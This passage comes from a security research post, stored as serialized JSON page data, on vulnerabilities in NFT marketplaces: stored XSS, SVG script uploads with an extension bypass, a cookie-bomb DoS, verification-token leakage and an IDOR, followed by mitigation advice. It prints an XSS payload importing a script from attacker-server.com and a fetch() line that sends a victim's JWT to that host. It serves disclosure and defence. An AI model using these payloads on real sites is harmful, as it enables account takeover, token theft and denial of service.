:27,"value":33883},{"type":21,"tag":198,"props":34665,"children":34666},{"style":683},[34667],{"type":27,"value":658},{"type":21,"tag":198,"props":34669,"children":34670},{"style":226},[34671],{"type":27,"value":33892},{"type":21,"tag":198,"props":34673,"children":34674},{"style":683},[34675],{"type":27,"value":33690},{"type":21,"tag":198,"props":34677,"children":34678},{"style":226},[34679],{"type":27,"value":33901},{"type":21,"tag":198,"props":34681,"children":34682},{"style":683},[34683],{"type":27,"value":658},{"type":21,"tag":198,"props":34685,"children":34686},{"style":226},[34687],{"type":27,"value":33892},{"type":21,"tag":198,"props":34689,"children":34690},{"style":683},[34691],{"type":27,"value":1483},{"type":21,"tag":198,"props":34693,"children":34694},{"class":200,"line":4569},[34695],{"type":21,"tag":198,"props":34696,"children":34697},{"emptyLinePlaceholder":16},[34698],{"type":27,"value":1283},{"type":21,"tag":198,"props":34700,"children":34701},{"class":200,"line":4599},[34702,34707,34711,34716],{"type":21,"tag":198,"props":34703,"children":34704},{"style":226},[34705],{"type":27,"value":34706}," form123",{"type":21,"tag":198,"props":34708,"children":34709},{"style":683},[34710],{"type":27,"value":658},{"type":21,"tag":198,"props":34712,"children":34713},{"style":698},[34714],{"type":27,"value":34715},"submit",{"type":21,"tag":198,"props":34717,"children":34718},{"style":683},[34719],{"type":27,"value":1837},{"type":21,"tag":198,"props":34721,"children":34722},{"class":200,"line":4607},[34723,34727],{"type":21,"tag":198,"props":34724,"children":34725},{"style":249},[34726],{"type":27,"value":33921},{"type":21,"tag":198,"props":34728,"children":34729},{"style":211},[34730],{"type":27,"value":33926},{"type":21,"tag":198,"props":34732,"children":34733},{"class":200,"line":4638},[34734],{"type":21,"tag":198,"props":34735,"children":34736},{"emptyLinePlaceholder":16},[34737],{"type":27,"value":1283},{"type":21,"tag":198,"props":34739,"children":34740},{"class":200,"line":4646},[34741,34745,34749],{"type":21,"tag":198,"props":34742,"children":34743},{"style":3156},[34744],{"type":27,"value":33623},{"type":21,"tag":198,"props":34746,"children":34747},{"style":249},[34748],{"type":27,"value":33199},{"type":21,"tag":198,"props":34750,"children":34751},{"style":3156},[34752],{"type":27,"value":3203},{"type":21,"tag":198,"props":34754,"children":34755},{"class":200,"line":4706},[34756,34760,34764],{"type":21,"tag":198,"props":34757,"children":34758},{"style":3156},[34759],{"type":27,"value":33213},{"type":21,"tag":198,"props":34761,"children":34762},{"style":249},[34763],{"type":27,"value":3146},{"type":21,"tag":198,"props":34765,"children":34766},{"style":3156},[34767],{"type":27,"value":3203},{"type":21,"tag":30,"props":34769,"children":34770},{},[34771],{"type":27,"value":34772},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":21,"tag":187,"props":34774,"children":34777},{"className":34775,"code":34776,"language":2119,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n",[34778],{"type":21,"tag":194,"props":34779,"children":34780},{"__ignoreMap":7},[34781,34788,34809,34830,34847],{"type":21,"tag":198,"props":34782,"children":34783},{"class":200,"line":201},[34784],{"type":21,"tag":198,"props":34785,"children":34786},{"style":211},[34787],{"type":27,"value":11689},{"type":21,"tag":198,"props":34789,"children":34790},{"class":200,"line":217},[34791,34796,34800,34805],{"type":21,"tag":198,"props":34792,"children":34793},{"style":226},[34794],{"type":27,"value":34795}," \"address\"",{"type":21,"tag":198,"props":34797,"children":34798},{"style":211},[34799],{"type":27,"value":16136},{"type":21,"tag":198,"props":34801,"children":34802},{"style":205},[34803],{"type":27,"value":34804},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":21,"tag":198,"props":34806,"children":34807},{"style":211},[34808],{"type":27,"value":257},{"type":21,"tag":198,"props":34810,"children":34811},{"class":200,"line":236},[34812,34817,34821,34826],{"type":21,"tag":198,"props":34813,"children":34814},{"style":226},[34815],{"type":27,"value":34816}," \"to\"",{"type":21,"tag":198,"props":34818,"children":34819},{"style":211},[34820],{"type":27,"value":16136},{"type":21,"tag":198,"props":34822,"children":34823},{"style":205},[34824],{"type":27,"value":34825},"\"profile-assets\"",{"type":21,"tag":198,"props":34827,"children":34828},{"style":211},[34829],{"type":27,"value":257},{"type":21,"tag":198,"props":34831,"children":34832},{"class":200,"line":260},[34833,34838,34842],{"type":21,"tag":198,"props":34834,"children":34835},{"style":226},[34836],{"type":27,"value":34837}," \"type\"",{"type":21,"tag":198,"props":34839,"children":34840},{"style":211},[34841],{"type":27,"value":16136},{"type":21,"tag":198,"props":34843,"children":34844},{"style":205},[34845],{"type":27,"value":34846},"\"icon\"\n",{"type":21,"tag":198,"props":34848,"children":34849},{"class":200,"line":281},[34850],{"type":21,"tag":198,"props":34851,"children":34852},{"style":211},[34853],{"type":27,"value":1120},{"type":21,"tag":30,"props":34855,"children":34856},{},[34857],{"type":27,"value":34858},"Then, the imported script is able to exfiltrate the JWT authentication token from stashh.io:",{"type":21,"tag":187,"props":34860,"children":34862},{"className":189,"code":34861,"language":191,"meta":7,"style":7},"fetch(`https://attacker-server.com/?token_leak=${localStorage.getItem('token')}`);\n",[34863],{"type":21,"tag":194,"props":34864,"children":34865},{"__ignoreMap":7},[34866],{"type":21,"tag":198,"props":34867,"children":34868},{"class":200,"line":201},[34869,34874,34878,34883,34887,34892,34896,34901,34905,34910,34914,34918,34922],{"type":21,"tag":198,"props":34870,"children":34871},{"style":698},[34872],{"type":27,"value":34873},"fetch",{"type":21,"tag":198,"props":34875,"children":34876},{"style":211},[34877],{"type":27,"value":706},{"type":21,"tag":198,"props":34879,"children":34880},{"style":205},[34881],{"type":27,"value":34882},"`https://attacker-server.com/?token_leak=",{"type":21,"tag":198,"props":34884,"children":34885},{"style":249},[34886],{"type":27,"value":756},{"type":21,"tag":198,"props":34888,"children":34889},{"style":226},[34890],{"type":27,"value":34891},"localStorage",{"type":21,"tag":198,"props":34893,"children":34894},{"style":683},[34895],{"type":27,"value":658},{"type":21,"tag":198,"props":34897,"children":34898},{"style":698},[34899],{"type":27,"value":34900},"getItem",{"type":21,"tag":198,"props":34902,"children":34903},{"style":683},[34904],{"type":27,"value":706},{"type":21,"tag":198,"props":34906,"children":34907},{"style":205},[34908],{"type":27,"value":34909},"'token'",{"type":21,"tag":198,"props":34911,"children":34912},{"style":683},[34913],{"type":27,"value":2109},{"type":21,"tag":198,"props":34915,"children":34916},{"style":249},[34917],{"type":27,"value":779},{"type":21,"tag":198,"props":34919,"children":34920},{"style":205},[34921],{"type":27,"value":11191},{"type":21,"tag":198,"props":34923,"children":34924},{"style":211},[34925],{"type":27,"value":1470},{"type":21,"tag":59,"props":34927,"children":34929},{"id":34928},"svgs",[34930],{"type":27,"value":34931},"SVGs",{"type":21,"tag":30,"props":34933,"children":34934},{},[34935],{"type":27,"value":34936},"After closely analyzing various NFT marketplaces, we noticed a common shared feature; the ability to update profile pictures or insert NFT assets using SVG files. SVG is an XML- based format that defines graphics and how they interact.",{"type":21,"tag":30,"props":34938,"children":34939},{},[34940],{"type":27,"value":34941},"Unbeknownst to some people, SVG files can contain JavaScript and run arbitrary scripts.",{"type":21,"tag":187,"props":34943,"children":34945},{"className":189,"code":34944,"language":191,"meta":7,"style":7},"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n alert(document.domain);\n \u003C/script>\n \u003C/svg>\n",[34946],{"type":21,"tag":194,"props":34947,"children":34948},{"__ignoreMap":7},[34949,34995,35032,35039,35069,35101,35129,35137,35153],{"type":21,"tag":198,"props":34950,"children":34951},{"class":200,"line":201},[34952,34957,34962,34967,34971,34976,34981,34985,34990],{"type":21,"tag":198,"props":34953,"children":34954},{"style":683},[34955],{"type":27,"value":34956},"\u003C?",{"type":21,"tag":198,"props":34958,"children":34959},{"style":226},[34960],{"type":27,"value":34961},"xml",{"type":21,"tag":198,"props":34963,"children":34964},{"style":226},[34965],{"type":27,"value":34966}," version",{"type":21,"tag":198,"props":34968,"children":34969},{"style":683},[34970],{"type":27,"value":3174},{"type":21,"tag":198,"props":34972,"children":34973},{"style":205},[34974],{"type":27,"value":34975},"\"1.0\"",{"type":21,"tag":198,"props":34977,"children":34978},{"style":226},[34979],{"type":27,"value":34980}," encoding",{"type":21,"tag":198,"props":34982,"children":34983},{"style":683},[34984],{"type":27,"value":3174},{"type":21,"tag":198,"props":34986,"children":34987},{"style":205},[34988],{"type":27,"value":34989},"\"UTF-8\"",{"type":21,"tag":198,"props":34991,"children":34992},{"style":683},[34993],{"type":27,"value":34994},"?>\n",{"type":21,"tag":198,"props":34996,"children":34997},{"class":200,"line":217},[34998,35003,35008,35013,35018,35023,35028],{"type":21,"tag":198,"props":34999,"children":35000},{"style":683},[35001],{"type":27,"value":35002},"\u003C!",{"type":21,"tag":198,"props":35004,"children":35005},{"style":226},[35006],{"type":27,"value":35007},"DOCTYPE",{"type":21,"tag":198,"props":35009,"children":35010},{"style":226},[35011],{"type":27,"value":35012}," svg",{"type":21,"tag":198,"props":35014,"children":35015},{"style":226},[35016],{"type":27,"value":35017}," PUBLIC",{"type":21,"tag":198,"props":35019,"children":35020},{"style":205},[35021],{"type":27,"value":35022}," \"-//W3C//DTD SVG 1.1//EN\"",{"type":21,"tag":198,"props":35024,"children":35025},{"style":205},[35026],{"type":27,"value":35027}," \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\"",{"type":21,"tag":198,"props":35029,"children":35030},{"style":683},[35031],{"type":27,"value":3203},{"type":21,"tag":198,"props":35033,"children":35034},{"class":200,"line":236},[35035],{"type":21,"tag":198,"props":35036,"children":35037},{"emptyLinePlaceholder":16},[35038],{"type":27,"value":1283},{"type":21,"tag":198,"props":35040,"children":35041},{"class":200,"line":260},[35042,35046,35051,35056,35060,35065],{"type":21,"tag":198,"props":35043,"children":35044},{"style":3156},[35045],{"type":27,"value":9529},{"type":21,"tag":198,"props":35047,"children":35048},{"style":249},[35049],{"type":27,"value":35050},"svg",{"type":21,"tag":198,"props":35052,"children":35053},{"style":226},[35054],{"type":27,"value":35055}," xmlns",{"type":21,"tag":198,"props":35057,"children":35058},{"style":683},[35059],{"type":27,"value":3174},{"type":21,"tag":198,"props":35061,"children":35062},{"style":205},[35063],{"type":27,"value":35064},"\"http://www.w3.org/2000/svg\"",{"type":21,"tag":198,"props":35066,"children":35067},{"style":3156},[35068],{"type":27,"value":3203},{"type":21,"tag":198,"props":35070,"children":35071},{"class":200,"line":281},[35072,35076,35081,35085,35089,35093,35097],{"type":21,"tag":198,"props":35073,"children":35074},{"style":3156},[35075],{"type":27,"value":33179},{"type":21,"tag":198,"props":35077,"children":35078},{"style":249},[35079],{"type":27,"value":35080},"title",{"type":21,"tag":198,"props":35082,"children":35083},{"style":3156},[35084],{"type":27,"value":11270},{"type":21,"tag":198,"props":35086,"children":35087},{"style":211},[35088],{"type":27,"value":32035},{"type":21,"tag":198,"props":35090,"children":35091},{"style":3156},[35092],{"type":27,"value":33213},{"type":21,"tag":198,"props":35094,"children":35095},{"style":249},[35096],{"type":27,"value":35080},{"type":21,"tag":198,"props":35098,"children":35099},{"style":3156},[35100],{"type":27,"value":3203},{"type":21,"tag":198,"props":35102,"children":35103},{"class":200,"line":302},[35104,35108,35112,35116,35120,35125],{"type":21,"tag":198,"props":35105,"children":35106},{"style":3156},[35107],{"type":27,"value":33179},{"type":21,"tag":198,"props":35109,"children":35110},{"style":249},[35111],{"type":27,"value":33199},{"type":21,"tag":198,"props":35113,"children":35114},{"style":226},[35115],{"type":27,"value":33323},{"type":21,"tag":198,"props":35117,"children":35118},{"style":683},[35119],{"type":27,"value":3174},{"type":21,"tag":198,"props":35121,"children":35122},{"style":205},[35123],{"type":27,"value":35124},"\"text/javascript\"",{"type":21,"tag":198,"props":35126,"children":35127},{"style":3156},[35128],{"type":27,"value":3203},{"type":21,"tag":198,"props":35130,"children":35131},{"class":200,"line":323},[35132],{"type":21,"tag":198,"props":35133,"children":35134},{"style":211},[35135],{"type":27,"value":35136}," alert(document.domain);\n",{"type":21,"tag":198,"props":35138,"children":35139},{"class":200,"line":344},[35140,35145,35149],{"type":21,"tag":198,"props":35141,"children":35142},{"style":3156},[35143],{"type":27,"value":35144}," \u003C/",{"type":21,"tag":198,"props":35146,"children":35147},{"style":249},[35148],{"type":27,"value":33199},{"type":21,"tag":198,"props":35150,"children":35151},{"style":3156},[35152],{"type":27,"value":3203},{"type":21,"tag":198,"props":35154,"children":35155},{"class":200,"line":365},[35156,35161,35165],{"type":21,"tag":198,"props":35157,"children":35158},{"style":3156},[35159],{"type":27,"value":35160}," \u003C/",{"type":21,"tag":198,"props":35162,"children":35163},{"style":249},[35164],{"type":27,"value":35050},{"type":21,"tag":198,"props":35166,"children":35167},{"style":3156},[35168],{"type":27,"value":3203},{"type":21,"tag":30,"props":35170,"children":35171},{},[35172,35174,35181],{"type":27,"value":35173},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":21,"tag":34,"props":35175,"children":35178},{"href":35176,"rel":35177},"https://xtingles.com/",[38],[35179],{"type":27,"value":35180},"xtingles Marketplace",{"type":27,"value":658},{"type":21,"tag":30,"props":35183,"children":35184},{},[35185],{"type":27,"value":35186},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":21,"tag":30,"props":35188,"children":35189},{},[35190],{"type":27,"value":35191},"Below, we show you how we did it.",{"type":21,"tag":30,"props":35193,"children":35194},{},[35195],{"type":27,"value":35196},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":21,"tag":30,"props":35198,"children":35199},{},[35200],{"type":21,"tag":1376,"props":35201,"children":35203},{"alt":7,"src":35202},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":21,"tag":30,"props":35205,"children":35206},{},[35207],{"type":27,"value":35208},"After changing the extension inside the file name.",{"type":21,"tag":30,"props":35210,"children":35211},{},[35212],{"type":21,"tag":1376,"props":35213,"children":35215},{"alt":7,"src":35214},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":21,"tag":59,"props":35217,"children":35219},{"id":35218},"svgs-return",[35220],{"type":27,"value":35221},"SVGs Return",{"type":21,"tag":30,"props":35223,"children":35224},{},[35225],{"type":27,"value":35226},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":21,"tag":30,"props":35228,"children":35229},{},[35230],{"type":27,"value":35231},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":21,"tag":30,"props":35233,"children":35234},{},[35235],{"type":27,"value":35236},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":21,"tag":187,"props":35238,"children":35242},{"className":35239,"code":35240,"language":35241,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n \u003Ctitle>XSS\u003C/title>\n \u003Cscript type=\"text/javascript\">\n var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n var Set_Cookie = Array(10000).join('a');\n\n for (var i = 1; i \u003C 99; i++) {\n document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n }\n \u003C/script>\n \u003C/svg>\n","jsx",[35243],{"type":21,"tag":194,"props":35244,"children":35245},{"__ignoreMap":7},[35246,35285,35316,35323,35350,35381,35408,35416,35424,35431,35443,35518,35526,35541],{"type":21,"tag":198,"props":35247,"children":35248},{"class":200,"line":201},[35249,35253,35257,35261,35265,35269,35273,35277,35281],{"type":21,"tag":198,"props":35250,"children":35251},{"style":683},[35252],{"type":27,"value":34956},{"type":21,"tag":198,"props":35254,"children":35255},{"style":226},[35256],{"type":27,"value":34961},{"type":21,"tag":198,"props":35258,"children":35259},{"style":226},[35260],{"type":27,"value":34966},{"type":21,"tag":198,"props":35262,"children":35263},{"style":683},[35264],{"type":27,"value":3174},{"type":21,"tag":198,"props":35266,"children":35267},{"style":205},[35268],{"type":27,"value":34975},{"type":21,"tag":198,"props":35270,"children":35271},{"style":226},[35272],{"type":27,"value":34980},{"type":21,"tag":198,"props":35274,"children":35275},{"style":683},[35276],{"type":27,"value":3174},{"type":21,"tag":198,"props":35278,"children":35279},{"style":205},[35280],{"type":27,"value":34989},{"type":21,"tag":198,"props":35282,"children":35283},{"style":683},[35284],{"type":27,"value":34994},{"type":21,"tag":198,"props":35286,"children":35287},{"class":200,"line":217},[35288,35292,35296,35300,35304,35308,35312],{"type":21,"tag":198,"props":35289,"children":35290},{"style":683},[35291],{"type":27,"value":35002},{"type":21,"tag":198,"props":35293,"children":35294},{"style":226},[35295],{"type":27,"value":35007},{"type":21,"tag":198,"props":35297,"children":35298},{"style":226},[35299],{"type":27,"value":35012},{"type":21,"tag":198,"props":35301,"children":35302},{"style":226},[35303],{"type":27,"value":35017},{"type":21,"tag":198,"props":35305,"children":35306},{"style":205},[35307],{"type":27,"value":35022},{"type":21,"tag":198,"props":35309,"children":35310},{"style":205},[35311],{"type":27,"value":35027},{"type":21,"tag":198,"props":35313,"children":35314},{"style":683},[35315],{"type":27,"value":3203},{"type":21,"tag":198,"props":35317,"children":35318},{"class":200,"line":236},[35319],{"type":21,"tag":198,"props":35320,"children":35321},{"emptyLinePlaceholder":16},[35322],{"type":27,"value":1283},{"type":21,"tag":198,"props":35324,"children":35325},{"class":200,"line":260},[35326,35330,35334,35338,35342,35346],{"type":21,"tag":198,"props":35327,"children":35328},{"style":3156},[35329],{"type":27,"value":9529},{"type":21,"tag":198,"props":35331,"children":35332},{"style":249},[35333],{"type":27,"value":35050},{"type":21,"tag":198,"props":35335,"children":35336},{"style":226},[35337],{"type":27,"value":35055},{"type":21,"tag":198,"props":35339,"children":35340},{"style":683},[35341],{"type":27,"value":3174},{"type":21,"tag":198,"props":35343,"children":35344},{"style":205},[35345],{"type":27,"value":35064},{"type":21,"tag":198,"props":35347,"children":35348},{"style":3156},[35349],{"type":27,"value":3203},{"type":21,"tag":198,"props":35351,"children":35352},{"class":200,"line":281},[35353,35357,35361,35365,35369,35373,35377],{"type":21,"tag":198,"props":35354,"children":35355},{"style":3156},[35356],{"type":27,"value":33179},{"type":21,"tag":198,"props":35358,"children":35359},{"style":249},[35360],{"type":27,"value":35080},{"type":21,"tag":198,"props":35362,"children":35363},{"style":3156},[35364],{"type":27,"value":11270},{"type":21,"tag":198,"props":35366,"children":35367},{"style":211},[35368],{"type":27,"value":32035},{"type":21,"tag":198,"props":35370,"children":35371},{"style":3156},[35372],{"type":27,"value":33213},{"type":21,"tag":198,"props":35374,"children":35375},{"style":249},[35376],{"type":27,"value":35080},{"type":21,"tag":198,"props":35378,"children":35379},{"style":3156},[35380],{"type":27,"value":3203},{"type":21,"tag":198,"props":35382,"children":35383},{"class":200,"line":302},[35384,35388,35392,35396,35400,35404],{"type":21,"tag":198,"props":35385,"children":35386},{"style":3156},[35387],{"type":27,"value":33179},{"type":21,"tag":198,"props":35389,"children":35390},{"style":249},[35391],{"type":27,"value":33199},{"type":21,"tag":198,"props":35393,"children":35394},{"style":226},[35395],{"type":27,"value":33323},{"type":21,"tag":198,"props":35397,"children":35398},{"style":683},[35399],{"type":27,"value":3174},{"type":21,"tag":198,"props":35401,"children":35402},{"style":205},[35403],{"type":27,"value":35124},{"type":21,"tag":198,"props":35405,"children":35406},{"style":3156},[35407],{"type":27,"value":3203},{"type":21,"tag":198,"props":35409,"children":35410},{"class":200,"line":323},[35411],{"type":21,"tag":198,"props":35412,"children":35413},{"style":211},[35414],{"type":27,"value":35415}," var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":21,"tag":198,"props":35417,"children":35418},{"class":200,"line":344},[35419],{"type":21,"tag":198,"props":35420,"children":35421},{"style":211},[35422],{"type":27,"value":35423}," var Set_Cookie = Array(10000).join('a');\n",{"type":21,"tag":198,"props":35425,"children":35426},{"class":200,"line":365},[35427],{"type":21,"tag":198,"props":35428,"children":35429},{"emptyLinePlaceholder":16},[35430],{"type":27,"value":1283},{"type":21,"tag":198,"props":35432,"children":35433},{"class":200,"line":386},[35434,35439],{"type":21,"tag":198,"props":35435,"children":35436},{"style":211},[35437],{"type":27,"value":35438}," for (var i = 1; i \u003C 99; i++) ",{"type":21,"tag":198,"props":35440,"children":35441},{"style":249},[35442],{"type":27,"value":11689},{"type":21,"tag":198,"props":35444,"children":35445},{"class":200,"line":408},[35446,35451,35455,35460,35464,35469,35474,35478,35482,35487,35491,35496,35500,35505,35509,35514],{"type":21,"tag":198,"props":35447,"children":35448},{"style":226},[35449],{"type":27,"value":35450}," document",{"type":21,"tag":198,"props":35452,"children":35453},{"style":683},[35454],{"type":27,"value":658},{"type":21,"tag":198,"props":35456,"children":35457},{"style":226},[35458],{"type":27,"value":35459},"cookie",{"type":21,"tag":198,"props":35461,"children":35462},{"style":683},[35463],{"type":27,"value":33690},{"type":21,"tag":198,"props":35465,"children":35466},{"style":205},[35467],{"type":27,"value":35468},"'Cookie'",{"type":21,"tag":198,"props":35470,"children":35471},{"style":683},[35472],{"type":27,"value":35473}," + ",{"type":21,"tag":198,"props":35475,"children":35476},{"style":226},[35477],{"type":27,"value":4544},{"type":21,"tag":198,"props":35479,"children":35480},{"style":683},[35481],{"type":27,"value":35473},{"type":21,"tag":198,"props":35483,"children":35484},{"style":205},[35485],{"type":27,"value":35486},"'='",{"type":21,"tag":198,"props":35488,"children":35489},{"style":683},[35490],{"type":27,"value":35473},{"type":21,"tag":198,"props":35492,"children":35493},{"style":226},[35494],{"type":27,"value":35495},"Set_Cookie",{"type":21,"tag":198,"props":35497,"children":35498},{"style":683},[35499],{"type":27,"value":35473},{"type":21,"tag":198,"props":35501,"children":35502},{"style":205},[35503],{"type":27,"value":35504},"';Domain='",{"type":21,"tag":198,"props":35506,"children":35507},{"style":683},[35508],{"type":27,"value":35473},{"type":21,"tag":198,"props":35510,"children":35511},{"style":226},[35512],{"type":27,"value":35513},"Take_Domain",{"type":21,"tag":198,"props":35515,"children":35516},{"style":683},[35517],{"type":27,"value":1483},{"type":21,"tag":198,"props":35519,"children":35520},{"class":200,"line":429},[35521],{"type":21,"tag":198,"props":35522,"children":35523},{"style":249},[35524],{"type":27,"value":35525}," }\n",{"type":21,"tag":198,"props":35527,"children":35528},{"class":200,"line":450},[35529,35533,35537],{"type":21,"tag":198,"props":35530,"children":35531},{"style":3156},[35532],{"type":27,"value":35144},{"type":21,"tag":198,"props":35534,"children":35535},{"style":249},[35536],{"type":27,"value":33199},{"type":21,"tag":198,"props":35538,"children":35539},{"style":3156},[35540],{"type":27,"value":3203},{"type":21,"tag":198,"props":35542,"children":35543},{"class":200,"line":468},[35544,35548,35552],{"type":21,"tag":198,"props":35545,"children":35546},{"style":3156},[35547],{"type":27,"value":35160},{"type":21,"tag":198,"props":35549,"children":35550},{"style":249},[35551],{"type":27,"value":35050},{"type":21,"tag":198,"props":35553,"children":35554},{"style":3156},[35555],{"type":27,"value":3203},{"type":21,"tag":30,"props":35557,"children":35558},{},[35559],{"type":27,"value":35560},"As a result, we're able to prevent the user from loading images.",{"type":21,"tag":22,"props":35562,"children":35564},{"id":35563},"authentication",[35565],{"type":27,"value":35566},"Authentication",{"type":21,"tag":30,"props":35568,"children":35569},{},[35570],{"type":21,"tag":1671,"props":35571,"children":35572},{},[35573,35575,35582],{"type":27,"value":35574},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":21,"tag":34,"props":35576,"children":35579},{"href":35577,"rel":35578},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[38],[35580],{"type":27,"value":35581},"great misfortune has occured",{"type":27,"value":658},{"type":21,"tag":59,"props":35584,"children":35586},{"id":35585},"verification-token-leakage",[35587],{"type":27,"value":35588},"Verification Token Leakage",{"type":21,"tag":30,"props":35590,"children":35591},{},[35592],{"type":27,"value":35593},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":21,"tag":30,"props":35595,"children":35596},{},[35597],{"type":27,"value":35598},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":21,"tag":30,"props":35600,"children":35601},{},[35602,35607],{"type":21,"tag":1671,"props":35603,"children":35604},{},[35605],{"type":27,"value":35606},"Proof of Concept",{"type":27,"value":35608},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":21,"tag":30,"props":35610,"children":35611},{},[35612],{"type":27,"value":35613},"Here's the breakdown.",{"type":21,"tag":30,"props":35615,"children":35616},{},[35617],{"type":27,"value":35618},"First, we send the verification link to a user's email:",{"type":21,"tag":3164,"props":35620,"children":35621},{"style":3597},[35622],{"type":21,"tag":1376,"props":35623,"children":35627},{"src":35624,"alt":35625,"style":35626},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":21,"tag":30,"props":35629,"children":35630},{},[35631],{"type":27,"value":35632},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":21,"tag":59,"props":35634,"children":35636},{"id":35635},"idor",[35637],{"type":27,"value":35638},"IDOR",{"type":21,"tag":30,"props":35640,"children":35641},{},[35642],{"type":21,"tag":1671,"props":35643,"children":35644},{},[35645,35647,35654],{"type":27,"value":35646},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":21,"tag":34,"props":35648,"children":35651},{"href":35649,"rel":35650},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[38],[35652],{"type":27,"value":35653},"insect",{"type":27,"value":658},{"type":21,"tag":30,"props":35656,"children":35657},{},[35658,35660,35666],{"type":27,"value":35659},"During a security assessment of the ",{"type":21,"tag":34,"props":35661,"children":35664},{"href":35662,"rel":35663},"https://rocki.com",[38],[35665],{"type":27,"value":32082},{"type":27,"value":35667},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":21,"tag":30,"props":35669,"children":35670},{},[35671],{"type":27,"value":35672},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":21,"tag":30,"props":35674,"children":35675},{},[35676],{"type":27,"value":35677},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":21,"tag":30,"props":35679,"children":35680},{},[35681,35683,35689,35691,35696],{"type":27,"value":35682},"Here is an example of a request that modifies another user's social media link to ",{"type":21,"tag":194,"props":35684,"children":35686},{"className":35685},[],[35687],{"type":27,"value":35688},"https://evil.com/",{"type":27,"value":35690},". To achieve this, we simply changed the ",{"type":21,"tag":194,"props":35692,"children":35694},{"className":35693},[],[35695],{"type":27,"value":4291},{"type":27,"value":35697}," field value to one that belongs to another user:",{"type":21,"tag":30,"props":35699,"children":35700},{},[35701],{"type":21,"tag":1376,"props":35702,"children":35704},{"alt":7,"src":35703},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":21,"tag":30,"props":35706,"children":35707},{},[35708],{"type":27,"value":35709},"The following screenshot is the response to our request:",{"type":21,"tag":30,"props":35711,"children":35712},{},[35713],{"type":21,"tag":1376,"props":35714,"children":35716},{"alt":7,"src":35715},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":21,"tag":22,"props":35718,"children":35720},{"id":35719},"preventative-action-steps-for-marketplaces",[35721],{"type":21,"tag":6137,"props":35722,"children":35723},{},[35724],{"type":27,"value":35725},"Preventative Action Steps for Marketplaces",{"type":21,"tag":30,"props":35727,"children":35728},{},[35729],{"type":27,"value":35730},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":21,"tag":30,"props":35732,"children":35733},{},[35734,35736,35742,35744,35749],{"type":27,"value":35735},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":21,"tag":194,"props":35737,"children":35739},{"className":35738},[],[35740],{"type":27,"value":35741},"innerText",{"type":27,"value":35743}," instead of ",{"type":21,"tag":194,"props":35745,"children":35747},{"className":35746},[],[35748],{"type":27,"value":3351},{"type":27,"value":35750}," in client-side:",{"type":21,"tag":187,"props":35752,"children":35754},{"className":189,"code":35753,"language":191,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = 